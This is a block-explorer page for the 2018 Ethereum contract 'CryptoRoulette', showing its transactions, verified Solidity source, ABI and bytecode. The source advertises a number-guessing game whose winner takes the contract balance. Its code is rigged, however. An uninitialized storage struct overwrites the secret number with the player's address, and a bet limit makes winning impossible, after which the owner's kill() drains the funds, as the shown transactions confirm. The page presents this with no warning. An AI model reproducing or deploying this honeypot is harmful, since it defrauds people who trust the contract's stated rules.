ETH Price: $3,437.92 (+0.40%)
Gas: 38 Gwei

Contract

0x94602b0E2512DdAd62a935763BF1277c973B2758
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Last Txn Sent

No transactions sent

First Txn Sent

No transactions sent

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Kill51442652018-02-23 21:43:552199 days ago1519422235IN
0x94602b0E...c973B2758
0 ETH0.000027032
Play51246202018-02-20 13:17:492202 days ago1519132669IN
0x94602b0E...c973B2758
0.1 ETH0.0011911310
Transfer51186112018-02-19 12:35:402203 days ago1519043740IN
0x94602b0E...c973B2758
0.65 ETH0.000021041
0x6060604051185182018-02-19 12:14:192204 days ago1519042459IN
 Create: CryptoRoulette
0 ETH0.000363531

Latest 1 internal transaction

Advanced mode:
Parent Txn Hash Block From To Value
51442652018-02-23 21:43:552199 days ago1519422235
0x94602b0E...c973B2758
0.75 ETH
Loading...
Loading
Contract Self Destruct called at Txn Hash 0xe40affc8f5d2482bcd2f55eef6d65dbb10346017c05ae785d46503c4f2187d37


Contract Source Code Verified (Exact Match)

Contract Name:
CryptoRoulette

Compiler Version
v0.4.19+commit.c4cbbb05

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-02-19
*/

pragma solidity ^0.4.19;

// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-20).  Bet price: 0.1 ether

contract CryptoRoulette {

    uint256 private secretNumber;
    uint256 public lastPlayed;
    uint256 public betPrice = 0.1 ether;
    address public ownerAddr;

    struct Game {
        address player;
        uint256 number;
    }
    Game[] public gamesPlayed;

    function CryptoRoulette() public {
        ownerAddr = msg.sender;
        shuffle();
    }

    function shuffle() internal {
        // randomly set secretNumber with a value between 1 and 20
        secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
    }

    function play(uint256 number) payable public {
        require(msg.value >= betPrice && number <= 10);

        Game game;
        game.player = msg.sender;
        game.number = number;
        gamesPlayed.push(game);

        if (number == secretNumber) {
            // win!
            msg.sender.transfer(this.balance);
        }

        shuffle();
        lastPlayed = now;
    }

    function kill() public {
        if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
            suicide(msg.sender);
        }
    }

    function() public payable { }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"gamesPlayed","outputs":[{"name":"player","type":"address"},{"name":"number","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"number","type":"uint256"}],"name":"play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"ownerAddr","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastPlayed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"betPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

606060405267016345785d8a0000600255341561001b57600080fd5b60038054600160a060020a03191633600160a060020a031617905561004b64010000000061005081026102b81704565b61008b565b601442600143034060405191825260208201526040908101905190819003902060ff1681151561007c57fe5b0660010160ff16600081905550565b61038f8061009a6000396000f3006060604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663382cf0a6811461007957806341c0e1b5146100b15780636898f82b146100c45780639c675eaa146100cf578063c5339132146100fe578063cfd8a17514610123575b005b341561008457600080fd5b61008f600435610136565b604051600160a060020a03909216825260208201526040908101905180910390f35b34156100bc57600080fd5b61007761016c565b6100776004356101a3565b34156100da57600080fd5b6100e261029d565b604051600160a060020a03909116815260200160405180910390f35b341561010957600080fd5b6101116102ac565b60405190815260200160405180910390f35b341561012e57600080fd5b6101116102b2565b600480548290811061014457fe5b600091825260209091206002909102018054600190910154600160a060020a03909116915082565b60035433600160a060020a0390811691161480156101905750600154620151800142115b156101a15733600160a060020a0316ff5b565b600060025434101580156101b85750600a8211155b15156101c357600080fd5b805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161781556001808201839055600480549091810161020383826102f3565b506000918252602082208354600290920201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911781556001808401549101555482141561028d5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028d57600080fd5b6102956102b8565b505042600155565b600354600160a060020a031681565b60015481565b60025481565b601442600143034060405191825260208201526040908101905190819003902060ff168115156102e457fe5b0660010160ff16600081905550565b81548183558181151161031f5760020281600202836000526020600020918201910161031f9190610324565b505050565b61036091905b8082111561035c57805473ffffffffffffffffffffffffffffffffffffffff191681556000600182015560020161032a565b5090565b905600a165627a7a7230582037e7fa0a1bb729e55ac0ed769bcc103c9c1411b8eca35274337ecef711c089f50029

Deployed Bytecode

0x6060604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663382cf0a6811461007957806341c0e1b5146100b15780636898f82b146100c45780639c675eaa146100cf578063c5339132146100fe578063cfd8a17514610123575b005b341561008457600080fd5b61008f600435610136565b604051600160a060020a03909216825260208201526040908101905180910390f35b34156100bc57600080fd5b61007761016c565b6100776004356101a3565b34156100da57600080fd5b6100e261029d565b604051600160a060020a03909116815260200160405180910390f35b341561010957600080fd5b6101116102ac565b60405190815260200160405180910390f35b341561012e57600080fd5b6101116102b2565b600480548290811061014457fe5b600091825260209091206002909102018054600190910154600160a060020a03909116915082565b60035433600160a060020a0390811691161480156101905750600154620151800142115b156101a15733600160a060020a0316ff5b565b600060025434101580156101b85750600a8211155b15156101c357600080fd5b805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161781556001808201839055600480549091810161020383826102f3565b506000918252602082208354600290920201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911781556001808401549101555482141561028d5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028d57600080fd5b6102956102b8565b505042600155565b600354600160a060020a031681565b60015481565b60025481565b601442600143034060405191825260208201526040908101905190819003902060ff168115156102e457fe5b0660010160ff16600081905550565b81548183558181151161031f5760020281600202836000526020600020918201910161031f9190610324565b505050565b61036091905b8082111561035c57805473ffffffffffffffffffffffffffffffffffffffff191681556000600182015560020161032a565b5090565b905600a165627a7a7230582037e7fa0a1bb729e55ac0ed769bcc103c9c1411b8eca35274337ecef711c089f50029

Swarm Source

bzzr://37e7fa0a1bb729e55ac0ed769bcc103c9c1411b8eca35274337ecef711c089f5

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Txn Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.